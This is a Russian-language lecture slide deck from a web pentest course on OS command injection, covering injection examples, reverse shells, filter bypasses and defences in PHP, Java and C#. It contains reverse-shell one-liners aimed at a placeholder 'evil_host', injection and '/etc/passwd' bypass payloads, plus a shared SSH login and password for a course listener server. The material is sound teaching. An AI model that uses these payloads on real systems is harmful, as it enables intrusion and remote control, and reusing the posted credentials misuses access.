<style> .reveal { font-size: 36px; } </style> # Web App Pentest ## 3 - OS Command Injection --- Вопросы по заданиям? --- ## Темы занятия * Уязвимость OS Command injection * Reverse shell * Code Injection * Рекомендации по исключению --- ## Лирическое отсутупление ### Пентест web vs Анализ защищенности web Цель пентеста - взломать веб-приложение и использовать его для развития атаки. Как правило пентестерам интересны только уязвимости высокого уровня критичности. Цель анализа защищенности - найти все уязвимости. --- ## OS Command injection --- ## A03:2021-Injection Уязвимости к инъекциям, таким как инъекции SQL, NoSQL, Command и LDAP, возникают, когда ненадежные данные отправляются интерпретатору как часть команды или запроса. Внедренные данные злоумышленника могут заставить интерпретатор выполнить непреднамеренные команды или дать возможность получить доступ к данным без надлежащей авторизации. --- ## OS Command Injection Уязвимость при которой веб-приложение небезопасно подставляет данные, полученные от пользователя в текст команды ОС, которая передается в командную оболочку ОС. --- ```php= <?php $command = 'mkdir ' + $_REQUEST['dirname']; system($command); ?> ``` --- ```php= <?php $command = 'mkdir ' + $_REQUEST['dirname']; system($command); ?> ``` `http://vuln.example.com/?dirname=; whoami` --- ```php= <?php $command = 'mkdir ' + $_REQUEST['dirname']; system($command); ?> ``` `http://vuln.example.com/?dirname=; whoami` ```php echo $command; mkdir tmp; whoami ``` --- ## OS Command injection Пример в bWAPP `docker run -p 80:80 raesene/bwapp` * OS Command injection * Совместная практика - root-me-PHP Command Injection * OS Command injection (Blind) --- ## Reverse shell Соединяется по TCP на слушаемый атакующим адрес/порт и позволяет атакующему выполнять команды в ОС жертвы. [cheat sheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md) https://www.revshells.com/ Два основных варианта: * /bin/bash -c "/bin/bash -i &>/dev/tcp/evil_host/4444 <&1" * nc evil_host 4444 -e /bin/bash Вопрос: Зачем обертка в первом варианте? --- ## Back connect receiver Для тех, у кого нету сервера в интернете Коннектится так: `ssh cybered@r420.psorokin.ru -p 2222` Пароль: cybered_password На Windows можно использовать ~~putty или xshell~~ тоже `ssh cybered@r420.psorokin.ru -p 2222` Вам будут доступны порты 7000-7100 Слушать порт: `nc -lvp <ваш_порт>` --- ## Совместная практика - `Reverse Shell` --- ## Прокачать reverse shell https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/ ``` # In reverse shell $ python3 -c 'import pty; pty.spawn("/bin/bash")' Ctrl-Z # In Kali $ stty -a (понять сколько rows и columns, использовать в последней команде) $ stty raw -echo $ fg # In reverse shell $ export SHELL=bash $ export TERM=xterm-256color $ reset $ stty rows <num> columns <cols> ``` --- ## OS Command injection - техники Отделение одной команды от другой: * `;` * `|` * символ новой строки (0x0a) * логических операторов `&&` или `||` (в зависимости от результата первой команды) Выполнение подкоманды: * в бэктиках ``` `ls` ```; * через доллар `$(ls)` * перенаправление в подпроцесс ` >(/bin/bash ....)` --- ## OS Command injection - обход фильтрации `$IFS` - переменная среды, хранит символ разделителя полей, по умолчанию это пробел. Можно использовать вместо пробела при его недоступности: `cat$IFS/etc/passwd` Также программы можно вызывать через фигурные скобки `{cat,/etc/issue}` --- ## Code Injection Контролируемые атакующим данные подставляются в программный код, после чего он исполняется веб-приложением. Пример: bWAPP: PHP Code Injection --- ## OS Command Injection Результат - **Remote Command Execution**. Или - **Remote Code Execution**. И то и другое называют **RCE** --- ## OS Command Injection. Как обнаруживать? ### Сканирование на OS Command Injection Автоматизированная проверка большого количества векторов атаки. Вопрос: как проверять что инъекция сработала успешна? Особенно для blind? --- ## OS Command Injection. Как обнаруживать? ### Сканирование на OS Command Injection Хорошие способы: - DNS запрос; - временная задержка. Вопрос: Почему DNS запрос лучше TCP-коннекта? https://github.com/sorokinpf/cth_wordlists/tree/master/OS%20cmd%20inj/time-based <демонстрация в Intruder> --- ## OS Command Injection. Как защититься? Можно выделить два уровня защиты: * Валидация входных данных * Безопасный вызов команд ОС --- ## OS Command injection. Как защититься? ### Валидация * Соответствие типу данных * Корректность формата * Регулярные выражения * Разрешенный набор символов --- ## OS Command injection. Как защититься? #### Валидация ОДНОЙ ВАЛИДАЦИИ НЕДОСТАТОЧНО!!! Но в некоторых случаях она может предотвратить уязвимости, а также другие "баги" --- ## OS Command injection. Как защититься? #### Валидация Современные фреймворки имеют специальные компоненты для валидации ```php= public function createUser(Request $request) { $this->validate($request, [ 'login' => 'required|max:255', 'age' => 'required|integer', 'email' => 'required|email', 'body' => 'required', ]); ... } ``` Пример: **Laravel** --- ## OS Command injection. Как защититься? ### Безопасный вызов команд ОС 1. Может можно вообще без команд? Для огромного количества различных функций реализованы библиотеки. 1. Используйте функции языка для вызова других программ без обращения к оболочке ОС (proc_open в PHP) 1. По возможности не передавайте пользовательский ввод в командную оболочку. 1. В крайнем случае используйте специальные функции для экранирования (escapeshellargs,escapeshellcmd в PHP) --- ## OS Command injection. Как защититься? Экранирование специальных символов Нужно быть аккуратным, некоторые команды могут принимать параметры, приводящие к выполнению команд даже в случае корректной фильтрации. Пример: ```bash= find . -exec whoami \; -quit ``` Список таких команд: https://gtfobins.github.io/ --- ## OS Command injection. Как защититься? PHP Экранирование специальных символов в PHP: - escapeshellarg - escapechellcmd ```php system("mkdir ".escapeshellarg($_POST['dirname'])); ``` --- ## OS Command injection. Как защититься? PHP Вызов команды напрямую, без шелла (PHP>=7.4): ```php proc_open(['mkdir',$_POST['dirname'] ],[],$pipes); ``` --- ## OS Command injection. Как защититься? Java `Runtime.exec` и `ProcessBuilder` по умолчанию не передает данные в шелл. Вызывать можно так: ```java Runtime.exec(['command',param1,param2]); .. = new ProcessBuilder('command',param1,param2); ``` Но угрозы типа описанной выше для `find` актуальны. Также все еже может быть: ```java Runtime.exec(["/bin/bash", "-c", "mkdir " + request.getParameter("value1")]); ``` --- ## OS Command injection. Как защититься? C# `System.Diagnostics.Process.Start` так же не использует shell по умолчанию. Но ```C# process.Start("cmd.exe","/c mkdir "+parameter1); ``` --- ## Задания - на CTFd (http://r420.psorokin.ru) - тест для самопроверки в LMS ---
{"metaMigratedAt":"2023-06-16T00:45:01.637Z","metaMigratedFrom":"YAML","title":"Web App Pentest - 0x03 - OS Command Injection","breaks":true,"slideOptions":"{\"transition\":\"fade\",\"parallaxBackgroundImage\":\"https://i.imgur.com/YClZ1aY.jpg\"}","contributors":"[{\"id\":\"74341f14-c8ac-49ac-b077-53e0eec889fc\",\"add\":8951,\"del\":1650}]","description":"Вопросы по заданиям?"}
    1241 views